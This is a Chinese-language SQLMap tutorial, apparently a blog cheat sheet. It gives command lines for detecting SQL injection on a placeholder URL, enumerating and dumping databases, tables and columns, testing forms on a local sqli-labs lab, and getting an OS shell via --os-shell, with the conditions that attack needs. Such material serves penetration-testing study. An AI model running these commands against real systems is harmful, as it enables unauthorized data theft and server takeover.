SQLMap 使用

SQLMap 使用

假设目标注入点是 http://xxxxxxx?id=1,判断其是否存在注入的命令如下:

1
sqlmap.py -u http://xxxxxxx?id=1

当注入点后面的参数大于等于两个时,需要加双引号,如下所示。

1
sqlmap.py -u "http://xxxxxxx?id=1&uid=2"

1
sqlmap.py -u "http://xxxxxxx?id=1" --dbs

1
sqlmap.py -u "http://xxxxxxx?id=1" --current-db

1
sqlmap.py -u "http://xxxxxxx?id=1" -D 库名 --tables

1
sqlmap.py -u "http://xxxxxxx?id=1" -D 库名 -T 表名 --columns

1
sqlmap.py -u "http://xxxxxxx?id=1" -D 库名 -T 表名 -C 字段1,字段2 --dump

BurpSuite抓请求包、复制内容保存到txt文件

1
sqlmap.py -r D:\1.txt

1
sqlmap.py -r D:\1.txt --dbs
  • it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"
  • for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"
  • POST parameter ’n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数’n’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"Y"

1
sqlmap.py -r D:\1.txt --current-db

1
sqlmap.py -r D:\1.txt -D 库名 --tables

1
sqlmap.py -r D:\1.txt -D 库名 -T 表名 --columns

1
sqlmap.py -r D:\1.txt -D 库名 -T 表名 -C 字段1,字段2 --dump

POST型注入也可以用 -p 来指定某个参数

1
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --forms --level=5 --dbs
  • do you want to test this form? [Y/n/q] 要测试此表单吗?[Y/n/q] 输入"Y"
  • do you want to fill blank fields with random values? [Y/n] 是否要填充带有随机值的空白字段? [Y/n] 输入"Y"
  • it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"
  • for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n] 输入"N"
  • POST parameter ’n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数’n’是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"N"
  • do you want to exploit this SQL injection? [Y/n] 你想利用SQL注入? 输入"Y"

SQLMap getshell

  • 网站必须是root权限
  • 知道网站的绝对路径
  • PHP关闭魔术引号,php主动转义功能关闭
  • secure_file_priv=值为空

1
sqlmap.py -r D:\1.txt -dbms=mysql --os-shell
  • -r :从文件中获取HTTP请求。
  • -dbms=mysql:指定跑mysql数据库。
  • –os-shell:本质就是写入两个php文件。